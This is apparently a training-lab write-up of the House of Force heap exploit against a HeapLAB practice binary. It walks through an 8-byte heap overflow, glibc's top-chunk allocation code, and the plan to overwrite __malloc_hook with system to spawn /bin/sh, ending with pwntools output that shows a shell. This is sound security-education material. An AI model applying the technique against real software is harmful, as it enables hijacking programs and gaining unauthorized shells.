House of force

Linux heap exploitation pt. 1

To get some basic experience with the binary, let's play around with it:

```
ubuntu@ubuntu:~/Desktop/HeapLAB/house_of_force$ ./house_of_force

===============
|   HeapLAB    |  House of Force
===============

puts() @ 0x7fcb3abf6f10
heap @ 0xf7c000

1) malloc 0/4
2) target
3) quit
> 
```

We can see we got three options. The first option allows us to allocation up to 4 chunks of a desired size.

Opening the binary using a decompiler, we can see the following:

```
while( true ) {
  while( true ) {
    printf("\n1) malloc %u/%u\n",(ulong)index,4);
    puts("2) target");
    puts("3) quit");
    printf("> ");
    uVar1 = read_num();
    if (uVar1 != 2) break;
    printf("\ntarget: %s\n","XXXXXXX");
  }
  if (uVar1 == 3) break;
  if (uVar1 == 1) {
    if (index < 4) {
      printf("size: ");
      uVar1 = read_num();
      pcVar2 = (char *)malloc(uVar1);
      m_array[index] = pcVar2;
      if (m_array[index] == (char *)0x0) {
        puts("request failed");
      }
      else {
        printf("data: ");
                    /* return the actual number of bytes of the chunk's user data */
        lVar3 = malloc_usable_size(m_array[index]);
                    /* read is being called with an extra 8 bytes, might result in overriding the
                       next chunk's size member. We can use this to override the top chunk size in
                       order to allocate a huge chunk, overlapping the chunk with the in-memory
                       binary image, and overriding stuff in the image. */
        read(0,m_array[index],lVar3 + 8);
        index = index + 1;
      }
    }
    else {
      puts("maximum requests reached");
    }
  }
```

We can spot the bug. While allowing us the users to choose the size of a chunk, the house_of_force binary is “malloc_usable_size”, passing the allocated chunk. This function will return the total number of user data available in that chunk. It then call “read” for reading 8-bytes more than it can into that chunk. The next 8-bytes after the chunk’s user data is the next chunk’s size member. This bug, 8-bytes over heap-overflow, will allow us to override the top_chunk chunk size. Using that primitive, we’ll make the the top_chunk’s size huge. Allowing the next allocation after that to allocate a very big chunk. Here’s the piece of code in malloc.c that is responsible of allocating a new chunk out of the top_chunk:

```c
victim = av->top; // mark top_chunk as the victim
size = chunksize (victim); // size of top chunk

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) // chunk if top_chunk is large enough (if after the remindering, the
    top_chunk's size will be bigger or equal to MINSIZE)
  {
    /*
     malloc is going to create a new chunk by splitting the top_chunk.
     it calcute the size of the "new" top chunk by substracting the requested number of bytes from the current top_chunk's size.
     The top chunk is being treated as a char pointer, and malloc is advancing that pointer by the number of requested bytes.
     The resulted pointer will evaluate as the new top_chunk.

     */
    remainder_size = size - nb; // size of top chunk of remindering
    remainder = chunk_at_offset (victim, nb); // now top_chunk
    av->top = remainder;
    set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); // set the new chunk size filed
    set_head (remainder, remainder_size | PREV_INUSE); // set the new top size field
    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
```

```c
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))
```

Basically what this code does is treating the top_chunk as a bytes array. After each allocation of a chunk of size s, malloc will set the top_chunk pointer, we'll refer it as tcp to point to tcp+s, returning the old tcp as the allocation result.

We're going to use that primitive in order to allocate a big enough chunk that will overlap the the program memory up to the __malloc_hook pointer. Overriding this pointer with the pointer of 'system' and then using option 1 again to allocate a new chunk, will invoke the system command. We'll use one of our pre-allocations in order to write the "/bin/sh\0" string into the process memory and search the pointer to that string dynamically in the remote process, passing it as the argument to malloc, will eventually cause system("/bin/sh\0") to be invoked.

```
pwndbg> p __malloc_hook
$1 = (void *(* volatile)(size_t, const void *)) 0x7f7f9e17db70 <__libc_system>
pwndbg>
```

```
ubuntu@ubuntu:~/Desktop/HeapLAB/house_of_force$ ./pwntools_template.py
[*] '/home/ubuntu/Desktop/HeapLAB/house_of_force/house_of_force'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'../.glibc/glibc_2.28_no-tcache'
[*] '/home/ubuntu/Desktop/HeapLAB/.glibc/glibc_2.28_no-tcache/libc-2.28.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/usr/bin/gdbserver': pid 14433
[*] running in new terminal: ['/usr/bin/gdb', '-q', '/home/ubuntu/Desktop/HeapLAB/house_of_force/house_of_force', '-x', '/tmp/pwn8ve9c0tm.gdb']
[*] heap: 0xafa000
[*] target: 0x602010
[*] heap - target = 5210096
[*] malloc hook addres: 0x7f61bd8e0c10
[*] malloc hook distance: 140057757248464
[*] system function address: 140057765161840
[*] dist to malloc_hook 140057757248464
[*] Switching to interactive mode
Detaching from process 14437
Detaching from process 14452
$ ls
Detaching from process 14454
demo        house_of_force       pwntools_template.py
get-pip.py  pwntools_template2.py  pwntools_template.py7
```